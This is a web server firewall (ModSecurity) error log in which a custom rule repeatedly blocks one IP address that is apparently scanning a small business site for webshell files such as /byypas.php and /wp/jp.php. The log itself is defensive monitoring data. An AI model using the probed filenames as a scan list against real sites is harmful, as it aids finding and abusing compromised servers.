[Fri Apr 17 04:16:34.134628 2026] [:error] [pid 9263:tid 9280] [client 20.166.7.149:10165] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeFDohP68VyHNvj1e56ZgQAAAM8"]
[Fri Apr 17 04:16:34.649848 2026] [:error] [pid 9263:tid 9268] [client 20.166.7.149:29479] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeFDohP68VyHNvj1e56ZjQAAAMM"]
[Fri Apr 17 04:16:35.260674 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:10125] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeFDoxP68VyHNvj1e56ZmAAAANM"]
[Fri Apr 17 04:16:35.840810 2026] [:error] [pid 9152:tid 9192] [client 20.166.7.149:10157] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aeFDo5JYca8I3TNCwIfVZgAAAEI"]
[Fri Apr 17 04:16:36.352705 2026] [:error] [pid 9151:tid 9166] [client 20.166.7.149:10014] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeFDpMhTVuRPkua22vRobAAAAAU"]
[Fri Apr 17 04:16:36.942780 2026] [:error] [pid 9263:tid 9271] [client 20.166.7.149:10080] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeFDpBP68VyHNvj1e56ZtwAAAMY"]
[Fri Apr 17 04:16:37.876480 2026] [:error] [pid 9151:tid 9171] [client 20.166.7.149:10089] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeFDpchTVuRPkua22vRoeAAAAAo"]
[Fri Apr 17 04:16:38.750148 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:10012] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeFDpuMHGxkTZX3c45e2SgAAAIU"]
[Fri Apr 17 04:16:39.345348 2026] [:error] [pid 9151:tid 9185] [client 20.166.7.149:10097] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFDp8hTVuRPkua22vRofgAAABg"]
[Fri Apr 17 04:16:40.352425 2026] [:error] [pid 9153:tid 9234] [client 20.166.7.149:9989] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFDqOMHGxkTZX3c45e2UAAAAJA"]
[Fri Apr 17 04:16:41.994083 2026] [:error] [pid 9152:tid 9213] [client 20.166.7.149:10011] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFDqZJYca8I3TNCwIfVgwAAAFc"]
[Fri Apr 17 04:16:43.151145 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:29497] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeFDq-MHGxkTZX3c45e2YAAAAII"]
[Fri Apr 17 04:16:44.334630 2026] [:error] [pid 9263:tid 9282] [client 20.166.7.149:10109] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeFDrBP68VyHNvj1e56aHwAAANE"]
[Fri Apr 17 04:16:45.531464 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:10054] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeFDrZJYca8I3TNCwIfVjgAAAFA"]
[Fri Apr 17 04:16:46.767540 2026] [:error] [pid 9153:tid 9237] [client 20.166.7.149:9925] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeFDruMHGxkTZX3c45e2ewAAAJM"]
[Fri Apr 17 04:16:47.751412 2026] [:error] [pid 9153:tid 9230] [client 20.166.7.149:10036] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeFDr-MHGxkTZX3c45e2gwAAAIw"]
[Fri Apr 17 04:16:49.195019 2026] [:error] [pid 9151:tid 9175] [client 20.166.7.149:10173] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeFDschTVuRPkua22vRomwAAAA4"]
[Fri Apr 17 04:16:50.712380 2026] [:error] [pid 9153:tid 9232] [client 20.166.7.149:10150] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeFDsuMHGxkTZX3c45e2jgAAAI4"]
[Fri Apr 17 04:16:51.306495 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:10085] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeFDsxP68VyHNvj1e56ahwAAAMw"]
[Fri Apr 17 04:16:51.856852 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:10222] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "aeFDsxP68VyHNvj1e56algAAAMI"]
[Fri Apr 17 04:16:52.525107 2026] [:error] [pid 9153:tid 9241] [client 20.166.7.149:10091] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "aeFDtOMHGxkTZX3c45e2kQAAAJc"]
[Fri Apr 17 04:16:53.191099 2026] [:error] [pid 9153:tid 9236] [client 20.166.7.149:10172] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "aeFDteMHGxkTZX3c45e2mAAAAJI"]
[Fri Apr 17 04:16:53.825106 2026] [:error] [pid 9152:tid 9198] [client 20.166.7.149:10161] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "aeFDtZJYca8I3TNCwIfVwgAAAEg"]
[Fri Apr 17 04:16:54.366353 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:9991] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "aeFDthP68VyHNvj1e56atQAAAME"]
[Fri Apr 17 04:16:54.992467 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:10174] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFDthP68VyHNvj1e56awwAAAMw"]
[Fri Apr 17 04:16:55.704160 2026] [:error] [pid 9153:tid 9225] [client 20.166.7.149:29443] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFDt-MHGxkTZX3c45e2pQAAAIc"]
[Fri Apr 17 04:16:56.230315 2026] [:error] [pid 9153:tid 9218] [client 20.166.7.149:10110] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFDuOMHGxkTZX3c45e2qwAAAIA"]
[Fri Apr 17 04:16:56.809739 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:10127] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeFDuJJYca8I3TNCwIfVzgAAAE4"]
[Fri Apr 17 04:16:57.517991 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:10006] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeFDuRP68VyHNvj1e56a6gAAAMU"]
[Fri Apr 17 04:16:58.061223 2026] [:error] [pid 9153:tid 9232] [client 20.166.7.149:10082] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeFDuuMHGxkTZX3c45e2twAAAI4"]
[Fri Apr 17 04:16:58.652496 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:10156] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeFDupJYca8I3TNCwIfV1QAAAEQ"]
[Fri Apr 17 04:16:59.251441 2026] [:error] [pid 9151:tid 9167] [client 20.166.7.149:10009] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeFDu8hTVuRPkua22vRowgAAAAY"]
[Fri Apr 17 04:16:59.780926 2026] [:error] [pid 9153:tid 9238] [client 20.166.7.149:10140] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFDu-MHGxkTZX3c45e2ygAAAJQ"]
[Fri Apr 17 04:17:00.459614 2026] [:error] [pid 9263:tid 9282] [client 20.166.7.149:9992] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFDvBP68VyHNvj1e56bDAAAANE"]
[Fri Apr 17 04:17:01.099404 2026] [:error] [pid 9152:tid 9190] [client 20.166.7.149:10081] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFDvZJYca8I3TNCwIfV3QAAAEA"]
[Fri Apr 17 04:17:02.107772 2026] [:error] [pid 9151:tid 9184] [client 20.166.7.149:10005] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeFDvshTVuRPkua22vRo0gAAABc"]
[Fri Apr 17 04:17:03.054514 2026] [:error] [pid 9153:tid 9230] [client 20.166.7.149:10159] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aeFDv-MHGxkTZX3c45e25wAAAIw"]
[Fri Apr 17 04:17:03.838863 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:10201] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aeFDv8hTVuRPkua22vRo2wAAABI"]
[Fri Apr 17 04:17:04.672314 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:10111] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aeFDwBP68VyHNvj1e56bMwAAAMg"]
[Fri Apr 17 04:17:05.501476 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:10155] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aeFDwRP68VyHNvj1e56bQwAAAMI"]
[Fri Apr 17 04:17:07.049590 2026] [:error] [pid 9151:tid 9164] [client 20.166.7.149:10064] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "aeFDw8hTVuRPkua22vRo9gAAAAM"]
[Fri Apr 17 04:17:08.016741 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:10087] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "aeFDxJJYca8I3TNCwIfWCQAAAE4"]
[Fri Apr 17 04:17:09.168603 2026] [:error] [pid 9263:tid 9268] [client 20.166.7.149:10106] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "aeFDxRP68VyHNvj1e56bVwAAAMM"]
[Fri Apr 17 04:17:09.734312 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:9944] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "aeFDxZJYca8I3TNCwIfWGAAAAEo"]
[Fri Apr 17 04:17:10.327251 2026] [:error] [pid 9263:tid 9289] [client 20.166.7.149:9987] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "aeFDxhP68VyHNvj1e56bYAAAANg"]
[Fri Apr 17 04:17:11.003749 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:9999] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "aeFDx5JYca8I3TNCwIfWIwAAAFA"]
[Fri Apr 17 04:17:11.542802 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:29483] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "aeFDx8hTVuRPkua22vRpAwAAABI"]
[Fri Apr 17 04:17:12.142915 2026] [:error] [pid 9151:tid 9184] [client 20.166.7.149:9927] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "aeFDyMhTVuRPkua22vRpCQAAABc"]
[Fri Apr 17 04:17:13.535423 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10196] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFDyRP68VyHNvj1e56bgAAAANU"]
[Fri Apr 17 04:17:14.247961 2026] [:error] [pid 9263:tid 9268] [client 20.166.7.149:10039] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFDyhP68VyHNvj1e56bjwAAAMM"]
[Fri Apr 17 04:17:15.044166 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:9997] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFDyxP68VyHNvj1e56bpAAAAMQ"]
[Fri Apr 17 04:17:15.919111 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:10197] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFDy8hTVuRPkua22vRpJAAAABI"]
[Fri Apr 17 04:17:16.810075 2026] [:error] [pid 9151:tid 9182] [client 20.166.7.149:10021] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFDzMhTVuRPkua22vRpMgAAABU"]
[Fri Apr 17 04:17:17.354557 2026] [:error] [pid 9153:tid 9226] [client 20.166.7.149:10076] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFDzeMHGxkTZX3c45e3WQAAAIg"]
[Fri Apr 17 04:17:18.192942 2026] [:error] [pid 9153:tid 9234] [client 20.166.7.149:10099] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFDzuMHGxkTZX3c45e3YAAAAJA"]
